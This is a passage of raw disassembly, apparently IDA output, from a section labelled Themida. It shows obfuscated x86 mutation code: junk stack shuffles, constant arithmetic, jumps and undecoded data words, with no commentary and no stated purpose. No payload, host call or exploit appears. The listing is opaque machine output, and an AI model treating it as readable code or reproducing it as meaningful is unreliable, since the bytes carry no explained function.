0EB810E6Fh dd 0E827521h, 0C381CB01h, 0E827521h, 5F74EB81h, 34FF0E6Fh dd 50E95924h db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55401F: ; CODE XREF: Themida_:00557975j xor ecx, 3414540Fh xor ecx, 46BA7C26h xor eax, ecx pop ecx push 6ACBh jmp loc_54AB10 ; --------------------------------------------------------------------------- dd 0F704C483h, 0E95046D6h, 1202h, 785A68h, 240C8900h, 3390E9h dd 2434FF00h db 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi push eax push 2D0E60FCh pop eax not eax dec eax sub eax, 927F4DB4h mov esi, eax pop eax jmp loc_5543C2 ; --------------------------------------------------------------------------- dd 8B24048Fh, 4D32424h, 8DE99C24h, 4AFFFEE6h, 0B7A0EA81h dd 0D629D91Ah, 5A2434FFh, 4C481h, 0F1010000h, 0E911885Eh dd 0FFFF2F8Bh ; --------------------------------------------------------------------------- loc_55409C: ; CODE XREF: Themida_:0054C034j add ecx, eax pop eax push esi mov esi, 4 add ecx, esi pop esi xchg ecx, [esp] pop esp and eax, esi push dword ptr [esp] pop esi add esp, 4 or eax, eax jz loc_54F0ED push dword ptr [edi+28h] jmp loc_547D56 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 6804C483h, 7991h, 0E9243489h, 0FFFEEDC4h ; --------------------------------------------------------------------------- loc_5540D8: ; CODE XREF: Themida_:00544216j add esp, 4 xor eax, ebp jmp loc_5520F8 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FF771EE9h, 0C0D4B7FFh, 0BE908E7h, 8BFFFEE8h, 0C4812404h dd 4, 0E924048Fh, 0FFFFEE3Bh ; --------------------------------------------------------------------------- loc_554108: ; CODE XREF: Themida_:0055238Cj pop ebx jmp loc_54E015 ; --------------------------------------------------------------------------- dw 0B753h dd 80CFFE6Fh, 0CF80DBE7h, 0C7F7806Bh, 0F780C7FEh, 0E9F8008Bh dd 0FFFF9428h, 0E924248Bh, 0B6h, 51241C8Bh, 0FFADB0E9h dd 4BB53FFh, 50000000h, 0C276E068h, 0E5E2E941h, 0BDE9FFFFh db 0E5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55414F: ; CODE XREF: Themida_:00548527j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_554CD5 ; --------------------------------------------------------------------------- dw 0C768h dd 6800007Dh, 41B0h, 4EC81h, 8F540000h, 0FAE92404h, 89FFFEE5h dd 0E2892414h, 4C281h, 0B9E90000h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554187: ; CODE XREF: Themida_:00557873j add ecx, 4 add ecx, 4 push ecx jmp loc_544655 ; --------------------------------------------------------------------------- loc_554196: ; CODE XREF: Themida_:00549B1Bj sub ebx, 30097D52h pop eax and ebx, 349A7A9Fh shl ebx, 4 shl ebx, 3 jmp loc_54F368 ; --------------------------------------------------------------------------- dw 0EA81h dd 1C5833B5h, 0FF4E70E9h, 0B0E958FFh, 0C1FFFEFDh, 0CF8106EFh dd 7DC77950h, 15E9EFD1h, 81FFFF30h, 80627F3h, 0DE895632h dd 8B5EF189h, 0C483241Ch, 0EAF7E904h, 431FFFEh, 1DE99C24h dd 0BDFFFEE5h, 23EB5443h, 1ED81h, 0C5810000h, 4002F83Dh dd 0BC2F9C05h, 15EBE905h, 0A4BEFFFFh, 81C55EB1h, 5B2F5AC7h dd 0E9F70170h, 18A1h, 0DF5EF281h, 0BD55D452h, 0E7108B1h dd 815DEF01h, 0A5379FEFh, 81D70102h, 0A5379FC7h, 0B1EF8102h dd 5A0E7108h, 5C243C87h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_551E52 ; --------------------------------------------------------------------------- dw 0FF52h dd 5A042474h, 5C24048Fh, 240CD366h, 0E4A6E99Ch, 815AFFFEh dd 0B56710C7h, 31C7810Eh, 812FCB39h, 0E82B87EFh, 39FFE913h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55427E: ; CODE XREF: Themida_:0054D4F6j mov ebp, [esp] add esp, 4 push ecx mov ecx, 4 jmp loc_54F8D2 ; --------------------------------------------------------------------------- dw 565Fh dd 42474FFh, 24048F5Eh, 0FFF775E9h, 4EC83FFh, 88240C89h dd 59EB88C5h, 4EC81h, 4890000h, 0DE885224h, 0DCE9F088h dd 83FFFF3Ah, 685104C4h, 40CAh, 0E9242489h, 0FFFF4904h dd 5D88FEBDh, 8BE931E3h, 0C481242Ch, 4, 44E9CF29h, 89FFFF89h dd 1DE92404h, 68FFFEE4h, 3CE1h, 8B240C89h, 0EC812404h dd 4, 89241C89h, 2BB951E3h, 810AD844h, 964F82E1h, 0FE18168h dd 0C1123A63h, 0B4E906E1h, 59FFFFD0h, 875AD101h, 2E9240Ch dd 8BFFFEE4h, 0C4832404h, 66D03004h, 0E9C3305Ah, 0FFFFB224h dd 2F44BE56h, 0F6814EF4h, 19794E0Fh, 57F0C681h, 0EDE97049h dd 0C0FFFF44h, 0C7FE06EFh, 3EFC68h, 24048900h, 63E959B4h db 0Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554367: ; CODE XREF: Themida_:00556F07j add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov bh, dh mov edx, [esp] jmp loc_5465E0 ; --------------------------------------------------------------------------- db 1, 0D5h, 5Ah aIlS db 9,'ë‹,$é',0 db 6Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55438E: ; CODE XREF: Themida_:005451C3j add ebp, 7CE148B5h jmp loc_545CB3 ; --------------------------------------------------------------------------- aSrFnHs5 db 'SRºfN',8,'Hé5"',0 dd 24048B00h, 30BBE9h, 55F48000h, 5866E700h, 0C008EFC0h dd 0EF8002EFh, 29C2E9A2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5543C2: ; CODE XREF: Themida_:0055406Bj and esi, 4A434056h not esi or esi, 57AF441Ah shl esi, 1 push esi not dword ptr [esp] mov esi, [esp] jmp loc_554B9F ; --------------------------------------------------------------------------- dw 0F681h dd 24804612h, 348BF289h, 1903E924h, 4870000h, 0C5815C24h dd 4, 8704C583h, 248B242Ch, 66C33124h, 0FAE930FFh, 66FFFFBBh dd 0E9240489h, 0FFFEE68Bh, 2434335Dh, 0E9243431h, 0FFFF3B07h dd 8B240433h, 1C892424h, 2BB24h, 0EE810000h, 3CD82758h dd 0B850DE01h, 70A2309Ch, 66234335h, 0EC872D73h, 3EE9C6EBh dd 52FFFFA8h, 0C281E289h, 4, 33EDBF57h, 0F78140FDh, 40FD33E9h dd 0FFE4FBE9h, 0BA525AFFh, 3E9D4B57h, 5DBFB850h, 0C22176EBh dd 0BBC28158h, 11B89BAh, 24148BD6h, 4C481h, 0F7960000h dd 0D3E956D0h db 2Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55448F: ; CODE XREF: Themida_:0054FA28j push ebx mov ebx, 2F550AAh not ebx xchg ecx, ebx add ecx, 0FFFFFFFFh push ebx push eax mov eax, esp add eax, 4 jmp loc_553918 ; --------------------------------------------------------------------------- dw 0EE80h dd 0E9F30079h, 0FFFFF52Ah, 48B5A50h, 4C48124h, 1000000h dd 24148BD6h, 55E38953h, 4BDh, 5DEB0100h, 0B4B85057h, 52536C41h dd 0C36257BAh, 3E2C105h, 42DAF74Ah, 0AB9AEA81h, 0D0317E78h dd 8BC7895Ah, 0C5E92404h db 37h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5544F7: ; CODE XREF: Themida_:00542B9Fj sub ecx, 13F620FAh mov eax, [esp] add esp, 4 jmp loc_553063 ; --------------------------------------------------------------------------- loc_55450B: ; CODE XREF: Themida_:00551DDEj pop esp push ebx mov ebx, esp jmp loc_55114D ; --------------------------------------------------------------------------- dd 0C102EAC1h, 0C3E904EAh, 51FFFEF7h, 2360BBB9h, 59CB010Ch dd 3FB1EB81h, 515A245Ch, 0D265C7B9h, 0C1E9815Bh, 2922EE4Fh dd 0DD0159CDh, 1606C581h, 1C8B38E4h, 0E3895324h, 4C381h dd 0C3830000h, 241C8704h, 242C875Ch, 0FF24248Bh, 48B2434h dd 14F6824h, 0F2E90000h db 3 dup(0) ; --------------------------------------------------------------------------- loc_55456F: ; CODE XREF: Themida_:0054522Cj pop ebx add ebp, eax add ebp, 157549BCh push edx mov edx, 4B98000Fh jmp loc_54F4E5 ; --------------------------------------------------------------------------- loc_554583: ; CODE XREF: Themida_:0054CD7Fj sub eax, 2 xchg eax, [esp] pop esp jmp loc_548E76 ; --------------------------------------------------------------------------- db 35h dd 5C035784h, 0A576450Dh, 0B211E902h, 0E7C1FFFFh, 84684F08h dd 89000057h, 0CFB82404h, 31009624h, 0FA3158C7h, 57243C8Bh dd 0C781E789h, 4, 8704C783h, 96E9243Ch, 66FFFFC9h, 0E927CB68h dd 2CCEh, 4C481h, 0EC810000h, 2, 241C8966h, 86CFB050h dd 0E9D3F6D8h, 0FFFF19E7h, 0E958C601h, 0FFFF91F4h, 40E95153h dd 35000033h, 25F877E2h, 0D9E95351h, 89FFFFC2h, 54015DEAh dd 148B0424h, 4C48124h, 8F000000h, 4832404h, 34FF0424h dd 89515A24h, 4C181E1h, 81000000h, 4C1h, 240C8700h, 4BD555Ch dd 1000000h, 6D685DEAh, 0E9000061h, 0FFFFB68Eh ; --------------------------------------------------------------------------- loc_55464C: ; CODE XREF: Themida_:005571E2j push esi push ebx jmp loc_5440B2 ; --------------------------------------------------------------------------- db 51h dd 4A1663B9h, 59C82910h, 1B6CE9h, 24048900h, 1729E9h, 6B453500h dd 1AE96DBEh, 0F7FFFEFFh, 0E95655DFh, 0FFFF5444h ; --------------------------------------------------------------------------- loc_55467C: ; CODE XREF: Themida_:00547475j mov edx, esp jmp loc_55251E ; --------------------------------------------------------------------------- db 0ADh dd 57E3BB53h, 13E9117Eh db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_55468F: ; CODE XREF: Themida_:0054AB53j or ecx, 1716347Bh jmp loc_54E592 ; --------------------------------------------------------------------------- dw 0EFB9h dd 0BD173313h, 3F152C2Dh, 0FFBAE5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5546A9: ; CODE XREF: Themida_:005478E1j mov ecx, [esp] jmp loc_5557F6 ; --------------------------------------------------------------------------- loc_5546B1: ; CODE XREF: Themida_:0054EFF5j sub esi, 377B2CDAh sub esi, 46397C7Eh mov edx, [esp] add esp, 4 add esi, 4 jmp loc_5434CF ; --------------------------------------------------------------------------- loc_5546CB: ; CODE XREF: Themida_:00544E28j mov ebp, 5F0513A1h sub ebp, 3F1B9C01h jmp loc_5495E0 ; --------------------------------------------------------------------------- db 89h dd 405E0h, 0E8830000h, 8F55E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5546EA: ; CODE XREF: Themida_:00552AD0j push ecx mov ecx, 4 add [esp+4], ecx pop ecx jmp loc_543F3E ; --------------------------------------------------------------------------- dw 0F580h dd 0FC05E997h, 0F581FFFEh, 40A433C5h, 0B9515245h, 0CEA45BDBh dd 0FF84F9E9h, 0B8505FFFh, 51DE385Fh, 0C225E0D1h, 81681C23h dd 4ECh, 242C8900h, 0FF4798E9h db 0FFh ; --------------------------------------------------------------------------- loc_554731: ; CODE XREF: Themida_:00546E53j mov [esp], edx mov edx, ecx mov eax, edx pop edx push dword ptr [esp] pop ecx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add edi, eax mov eax, [esp] add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp shr eax, 10h xor eax, ecx jmp loc_551802 ; --------------------------------------------------------------------------- loc_55476C: ; CODE XREF: Themida_:00542C77j push esp mov edi, [esp] add esp, 4 push 702h mov [esp], esi mov esi, esp add esi, 4 jmp loc_54B3BF ; --------------------------------------------------------------------------- dd 0E950EAD1h, 0FFFFC1CCh, 0C380B5B3h, 42186801h, 4890000h dd 4EAEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5547A2: ; CODE XREF: Themida_:0054FC1Cj mov edx, [esp] push ebx mov ebx, esp add ebx, 4 push edi mov edi, 4 jmp loc_544E2D ; --------------------------------------------------------------------------- db 5Fh, 29h, 0D1h dd 240C875Ah, 8924248Bh, 0E682434h, 89000030h, 4832424h dd 34FF0424h, 0C4815E24h, 4, 1E1D68h, 240C8900h, 0FF37A8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5547E9: ; CODE XREF: Themida_:00552996j pop ecx push ecx mov ecx, 7C5557A4h add [esp+8], ecx pop ecx jmp loc_544BF9 ; --------------------------------------------------------------------------- loc_5547FA: ; CODE XREF: Themida_:0054A11Ej pop esp add esp, 4 popa jmp loc_545439 ; --------------------------------------------------------------------------- db 66h dd 66240433h, 66240431h, 5066D0F7h, 2474FF66h, 0E9586602h dd 0FFFF0640h ; --------------------------------------------------------------------------- loc_554820: ; CODE XREF: Themida_:00550E3Fj add ebp, eax pop eax pop eax sub ebp, 4 push ebp jmp loc_54C0DB ; --------------------------------------------------------------------------- loc_55482D: ; CODE XREF: Themida_:005478A1j add ebp, 19908C4h add ebx, ebp jmp loc_549B18 ; --------------------------------------------------------------------------- dw 4BBh dd 1000000h, 54AE9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554846: ; CODE XREF: Themida_:00557AE4j push edi mov edi, 4 jmp loc_5481DA ; --------------------------------------------------------------------------- loc_554851: ; CODE XREF: Themida_:0055799Ej push dword ptr [esp] pop edx add esp, 4 jmp loc_551B9E ; --------------------------------------------------------------------------- dd 4BD55h, 0EA010000h, 81242C8Bh, 4C4h, 0EBF5700h, 0E975D670h dd 0FFFF4557h ; --------------------------------------------------------------------------- loc_55487C: ; CODE XREF: Themida_:00545414j sub ebx, 666F6890h pop esi xchg ebx, [esp] mov esp, [esp] mov [esp], eax push ebx mov eax, [esp] add esp, 4 mov ebx, [esp] push ebx jmp loc_54589D ; --------------------------------------------------------------------------- dd 4C481h, 0CE280000h, 241C8B59h, 8904EC83h, 0E0892404h dd 405h, 4C08300h, 0EA62E950h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5548BE: ; CODE XREF: Themida_:005492F7j push ebx mov eax, [esp] push ebx mov ebx, esp push ecx mov ecx, 4 add ebx, ecx pop ecx push esi jmp loc_54F9A7 ; --------------------------------------------------------------------------- loc_5548D4: ; CODE XREF: Themida_:00545660j mov ebx, esp add ebx, 4 jmp loc_54A640 ; --------------------------------------------------------------------------- aIHJ db '‰ÁhÝJ',0 align 4 dd 0FFD4A9E9h, 81E289FFh, 4C2h, 4BF5700h, 0E9000000h, 0FFFF8CA3h dd 241C8758h, 0FF04B5E9h, 0E28952FFh, 0FFE1E1E9h, 5AD089FFh dd 1C078D0Dh, 0C1D8F766h, 0C83503E0h, 5660460h, 7EBE2C39h dd 72ED1305h, 3749E9DEh, 0EFC1FFFFh, 62406807h, 14890000h dd 534FBA24h, 39E96999h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554947: ; CODE XREF: Themida_:0054F8DAj sub edx, 34FE5E9Ch pop ecx xchg edx, [esp] pop esp pop ebx push edi mov edi, esp add edi, 4 jmp loc_545A47 ; --------------------------------------------------------------------------- loc_554961: ; CODE XREF: Themida_:00546F22j add edi, eax sub edi, 22977386h jmp loc_555057 ; --------------------------------------------------------------------------- loc_55496E: ; CODE XREF: Themida_:005429AAj add esp, 4 sub ebx, 0FFFFFFFFh jmp loc_553236 ; --------------------------------------------------------------------------- dd 0F77A112Dh, 0E9C82916h, 0FFFEF4F6h, 63C06866h, 0FF4839E9h dd 0F2E952FFh, 51FFFEEDh, 0DAB3F5B5h, 0FEE19CE9h, 2E7C1FFh dd 6E94747h, 87FFFF9Ch, 248B2404h, 4C78124h, 87000000h dd 54E9243Ch, 89FFFFEBh, 0FE92414h, 0BAFFFFC7h, 14D2605Dh dd 0AC76E94Ah, 0C583FFFFh, 242C8704h, 0E924248Bh, 0FFFEDD2Ch dd 2EE9C131h, 8BFFFF6Eh, 0C8842424h, 0DD1AE99Ch, 0EE81FFFEh dd 16E505Ah, 0FF1F0FE9h, 2434FFFFh, 8324048Bh, 0C16804C4h dd 8900005Fh, 0D368240Ch, 89000070h, 4812424h, 424h, 84E95900h dd 0FFFFFF0Fh, 81592434h, 4ECh, 242C8900h, 2434FF54h, 0CBE9575Dh dd 81FFFF20h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 33B22414h dd 0D06AEA80h, 7EAC0E2h, 5166C2FEh, 0B450C5B5h, 0F6DCF659h dd 7912E9DCh, 1C89FFFFh, 0C14CE924h, 0DDF6FFFFh, 5207EDC0h dd 0F280A2B2h, 0D3885322h, 0DA88D3F6h, 0BEC2805Bh, 0E95AD530h dd 0FFFF5991h ; --------------------------------------------------------------------------- loc_554A90: ; CODE XREF: Themida_:00551EE2j push ebx mov ebx, 601067FCh mov edx, ebx pop ebx xor [esp+4], edx jmp loc_544F7A ; --------------------------------------------------------------------------- loc_554AA2: ; CODE XREF: Themida_:00550F2Ej sub esp, 4 mov [esp], esi jmp loc_54FBDF ; --------------------------------------------------------------------------- dd 0C8BCE01h, 4C48324h, 4C681h, 0FF560000h, 5E042474h dd 0E924048Fh, 0FFFFF65Ch, 4C0835Eh, 8B240487h, 2C8B2424h dd 4C48124h, 53000000h, 2BBh, 5BDA0100h, 4BD068h, 24148900h dd 42474FFh, 24048F5Ah, 6824248Bh, 788Ah, 68241C89h, 77C8h dd 68240489h, 305A61B2h, 0AA3BB58h, 0C30122B1h, 0CFCB8158h dd 0E963FD3Bh, 0FFFEEB3Dh, 48BC209h, 4C48324h, 66EEB850h dd 0FE051884h, 2552E779h, 5C2A412Ch, 0FFB037E9h, 24248BFFh dd 582434FFh, 0FF562BE9h, 57515DFFh, 68727CBFh, 564DB927h dd 0E9548Fh, 51FFFF76h, 0A436FEB9h, 59CB014Bh, 8124048Bh dd 4C4h, 0E7895700h, 4C781h, 7AE90000h, 57FFFF91h, 0AA527EBFh dd 7AEF8153h, 153AA52h, 0BB535FF8h, 3E866C20h, 3CE0B850h dd 5AE9652Dh db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554B9F: ; CODE XREF: Themida_:005543D9j add esp, 4 xor esi, 80008Dh add ebp, esi pop esi push eax mov eax, 67DA2C5Ah add eax, 16F02097h push ebx mov ebx, 203453D4h jmp loc_552E97 ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 0BCh db 4Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554BC7: ; CODE XREF: Themida_:0054777Fj xor ebp, edx xor edx, ebp jmp loc_555BD0 ; --------------------------------------------------------------------------- dd 495E4EBAh, 4EAC102h, 0D6DC281h, 0BD5511BBh, 11DFA355h dd 15DEA31h, 89515AD6h, 4C181E1h, 50000000h, 4B8h, 0E9C12900h dd 18E8h, 456AC581h, 0BA527A84h, 4A2EABh, 0F706E2C1h, 0C28142D2h dd 1F70D23Fh, 0FFF764E9h, 24248BFFh, 0FEDAE7E9h, 2434FFFFh dd 0F849E95Bh, 0EE81FFFEh, 4091184Eh, 4100B850h, 0C32908CCh dd 7301E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554C42: ; CODE XREF: Themida_:0055503Bj xchg eax, [esp] pop esp sub esp, 4 mov [esp], edi jmp loc_544F5F ; --------------------------------------------------------------------------- db 4, 0B9h, 2Ch dd 2434FFC2h, 0E789575Bh, 4C781h, 0B7E90000h, 81FFFF2Eh dd 0BA36E2EAh, 4EE95923h, 50FFFFA6h, 451A1CB8h, 35CF054Bh dd 0C301023Eh, 24148B58h, 0FF21A0E9h, 538304FFh, 0E7D06AB7h dd 4A3C780h, 2CF8002Ch, 89505B2Ch, 0BC8CE9E0h, 0BA52FFFFh dd 66F75F62h, 0C7EBE56h, 0F52959DCh, 0E9D5295Eh, 0FFFF8FE6h dd 4C581h, 69E90000h, 81FFFFACh, 0E4E887F6h, 1E79053Eh dd 0F00118C7h, 0FF8E8EE9h db 0FFh ; --------------------------------------------------------------------------- loc_554CD5: ; CODE XREF: Themida_:00554159j push 48FDh mov [esp], edx push esi push ebx push eax mov eax, 659B3E5Ah not eax inc eax and eax, 457A36FCh or eax, 37B639DAh push ecx mov ecx, 416B3F59h sub eax, ecx pop ecx xor eax, 0FCAC88B9h jmp loc_5570F2 ; --------------------------------------------------------------------------- loc_554D05: ; CODE XREF: Themida_:005443D6j add esp, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_5558DF ; --------------------------------------------------------------------------- dw 0C681h dd 0DEE34065h, 0FFC17DE9h db 0FFh ; --------------------------------------------------------------------------- loc_554D25: ; CODE XREF: Themida_:005435CEj pop esp push ecx mov ecx, esp push ebp mov ebp, 4 add ecx, ebp pop ebp jmp loc_544C64 ; --------------------------------------------------------------------------- loc_554D37: ; CODE XREF: Themida_:0054B5DFj mov [esp], eax jmp loc_54E54A ; --------------------------------------------------------------------------- loc_554D3F: ; CODE XREF: Themida_:0054B50Cj pop ebx jmp loc_54D4AC ; --------------------------------------------------------------------------- db 58h, 83h, 0ECh dd 242C8904h, 551524BDh, 44BE5646h, 0E962A25Ah, 0FFFF6C73h dd 83241C8Bh, 7EE904C4h, 0C1FFFF21h, 0EFC107EFh, 0D8F78102h dd 816D2828h, 0B82626F7h, 5FFE293Fh, 7464BF57h, 0ADE900E7h dd 5E000027h, 26E9F001h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554D8F: ; CODE XREF: Themida_:0054937Bj mov eax, 1CC0363Ch push esi mov esi, 607A0C7Ch sub esi, 5984B982h or eax, esi jmp loc_557908 ; --------------------------------------------------------------------------- loc_554DA7: ; CODE XREF: Themida_:00555EBEj mov dl, 0E8h neg dl jmp loc_54D2C4 ; --------------------------------------------------------------------------- dd 0E089505Ch, 700E68h, 24148900h, 4BAh, 750E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554DC6: ; CODE XREF: Themida_:0054F843j push 128Dh mov [esp], ecx push edx jmp loc_54C76A ; --------------------------------------------------------------------------- dd 31241433h, 14332414h, 0B0505C24h, 0E9C0FEF2h, 0FFFFB182h dd 8159CF89h, 0DC0CFEEBh, 50C38174h, 814C315Eh, 0CE5A61C3h dd 72B2E961h, 5155FFFFh, 3D5159B9h, 2AF7BD01h, 83E90179h dd 81FFFFB4h, 0F03C81EEh, 24048B15h, 4C481h, 0ED810000h dd 7B3D1C7Eh, 0C581F529h, 7B3D1C7Eh, 0E924348Bh, 0FFFF294Ch dd 4D6496BEh, 5EEC165h, 73FBBF57h, 814F221Ch, 45587DF7h dd 7EFC11Ah, 36BE564Fh, 8111597Eh, 2930D1E6h, 9AF68165h dd 5306A119h, 0C84D5BBBh, 3CEB8130h, 0E938E129h, 0FFFEF6F4h dd 9D1C77FFh, 1CD35966h, 89E99C24h, 81FFFED8h, 5E0A29C6h dd 88685931h, 8900003Ah, 2BB241Ch, 57000000h, 65225BFh dd 0E4C8E91Dh, 0C381FFFFh, 216CBBFh, 8172942Dh, 5D82924h dd 24817294h, 0B1BE565Bh, 0C1364259h, 0EEC105EEh, 0FBF68105h dd 813ABB1Fh, 61771EF6h, 0FDF1E90Dh, 0EC83FFFFh, 24248904h dd 0E1685251h, 5A73330Ah, 0FEEC5CE9h db 0FFh ; --------------------------------------------------------------------------- loc_554EE5: ; CODE XREF: Themida_:0054E91Dj or esi, 73EA1FD8h add esi, 21F06E78h mov eax, esi pop esi dec eax sub eax, 8BD28A9h shl eax, 8 inc eax xor eax, 0D39B752h push esi mov esi, eax mov ecx, esi mov esi, [esp] add esp, 4 mov eax, [esp] add esp, 4 xor ecx, 5DF76616h shr ecx, 2 push eax mov eax, 3A5227AEh jmp loc_547393 ; --------------------------------------------------------------------------- db 0F7h dd 6E952D3h, 81FFFEE1h, 253717C1h, 81C10100h, 253717E9h dd 6B85000h, 292BBD13h, 815858C1h, 0EA5F0C1h, 0C381BFh dd 1083656h, 0EB81CBh, 0E9083656h, 0FFFF6DF0h, 60A768h dd 24048900h, 0FF59C9E9h, 62B3B9FFh, 4AE958B9h, 33FFFEEEh dd 0BEE9241Ch, 1FFFFFBh, 57C52DD0h, 148B1929h, 63DAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554F92: ; CODE XREF: Themida_:0054C4BEj mov eax, esp add eax, 4 sub eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_552CFB ; --------------------------------------------------------------------------- db 87h dd 4BD3F7F3h, 1E4CF381h, 0D82935E9h db 5Bh, 59h, 53h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push esi mov esi, 76E4321Eh or esi, 1D14755Dh jmp loc_54E8F2 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 24048B66h, 50E18951h, 0D41BBB8h, 3605E95Fh, 248BFFFFh dd 4C6DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554FF2: ; CODE XREF: Themida_:00556F47j sub esp, 4 jmp loc_54D05F ; --------------------------------------------------------------------------- db 81h, 0C1h, 0D1h dd 29663830h, 0D1BA52E9h, 29663830h, 875D5AD1h, 248B240Ch dd 241C8924h, 11E95351h, 0FF000028h, 0E9042474h, 0FFFF16E3h ; --------------------------------------------------------------------------- loc_555028: ; CODE XREF: Themida_:00544FBEj pop edi add eax, 691A67B1h add eax, ecx sub eax, 691A67B1h pop ecx add eax, 4 jmp loc_554C42 ; --------------------------------------------------------------------------- dd 2C2EE281h, 0B7E926B6h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55504B: ; CODE XREF: Themida_:005525C3j mov ecx, 6CE8768Dh xor ecx, ebp jmp loc_5532C9 ; --------------------------------------------------------------------------- loc_555057: ; CODE XREF: Themida_:00554969j pop eax sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], edi jmp loc_552AAE ; --------------------------------------------------------------------------- loc_55506C: ; CODE XREF: Themida_:00545F95j mov [esp], ebx mov ebx, 30131E8Ch jmp loc_5470BD ; --------------------------------------------------------------------------- loc_555079: ; CODE XREF: Themida_:0054485Cj add esi, 1410B030h or edi, esi pop esi add edi, 0A200B81Dh add eax, edi pop edi xchg eax, [esp] jmp loc_5571D6 ; --------------------------------------------------------------------------- db 81h dd 0DC5ABBC6h, 34875A6Fh, 0C7815C24h, 74112C7h, 6C17E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5550AA: ; CODE XREF: Themida_:00544882j push esi push esp pop esi jmp loc_5458AA ; --------------------------------------------------------------------------- dw 0EC83h dd 24348904h, 0FF4536E9h, 2434FFFFh, 0E272E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5550C6: ; CODE XREF: Themida_:00543134j pop ecx jmp loc_54F6F4 ; --------------------------------------------------------------------------- loc_5550CC: ; CODE XREF: Themida_:005514DCj push esi mov esi, 4 add ebp, esi pop esi add ebp, 4 xchg ebp, [esp] pop esp push edi mov edi, esp jmp loc_545B62 ; --------------------------------------------------------------------------- db 5Eh dd 8704C483h, 248B240Ch, 24148924h, 11E99C50h, 81FFFED6h dd 0CAB8B6EFh, 9A8FE9B7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555106: ; CODE XREF: Themida_:0054B7DAj add ebp, 0AE0DD205h add esi, ebp jmp loc_544E8E ; --------------------------------------------------------------------------- loc_555113: ; CODE XREF: Themida_:0054CDE6j dec eax jmp loc_55798D ; --------------------------------------------------------------------------- loc_555119: ; CODE XREF: Themida_:0054F7D5j add edi, eax pop eax add ebx, 7CDC27A1h add ebx, edi sub ebx, 7CDC27A1h mov edi, [esp] add esp, 4 push eax jmp loc_54AC5F ; --------------------------------------------------------------------------- db 89h, 0E5h, 0E9h dd 0FFFF17DAh, 240C8B66h, 4EC8153h, 54000000h, 5624048Fh dd 1C2CBA52h, 0EAC10FB2h, 94C28106h, 89FFC137h, 4EE95AD6h dd 80FFFFC3h, 0F320CAC6h, 8124148Bh, 4C4h, 72F38000h, 0CC9FE951h dd 0EE01FFFFh, 0FF8AEFE9h db 0FFh ; --------------------------------------------------------------------------- loc_555185: ; CODE XREF: Themida_:005501C8j or edi, edx jmp loc_546705 ; --------------------------------------------------------------------------- dd 5624048Bh, 0E950E689h, 0FFFF7DB6h ; --------------------------------------------------------------------------- loc_555198: ; CODE XREF: Themida_:0054360Fj pop dword ptr [esp] xchg ecx, edi not ecx xchg ecx, edi sub esp, 4 jmp loc_5494A4 ; --------------------------------------------------------------------------- loc_5551A9: ; CODE XREF: Themida_:0054E429j push dword ptr [esp] pop eax push 4D29h mov [esp], edi push esp pop edi push 1175h mov [esp], ebp sub esp, 4 mov [esp], eax mov eax, 657135E8h jmp loc_54CDE1 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E843E900h, 0C581FFFEh, 0A251E844h, 685DEE01h dd 58E3h, 0FF243489h, 5E042474h, 0FF8F7EE9h, 24148BFFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push esp mov edi, [esp] add esp, 4 add edi, 4 push ecx mov ecx, 4 add edi, ecx pop ecx push 3CA7h mov [esp], edi push dword ptr [esp+4] push dword ptr [esp] pop edi add esp, 4 pop dword ptr [esp] pop esp jmp loc_54270C ; --------------------------------------------------------------------------- dw 82B8h dd 40369543h, 504E8C1h, 2129B021h, 0FFB08BE9h, 81F229FFh dd 4ECh, 24048900h, 4747B5B8h, 0E233E949h, 5166FFFEh, 0B5CBB252h dd 0C4B450E1h, 2858E500h, 0E95266D5h, 0FFFF3F4Fh, 13439D68h dd 0C8E95B7Ah, 5AFFFF5Eh, 5304C483h, 307280BBh, 42CB8129h dd 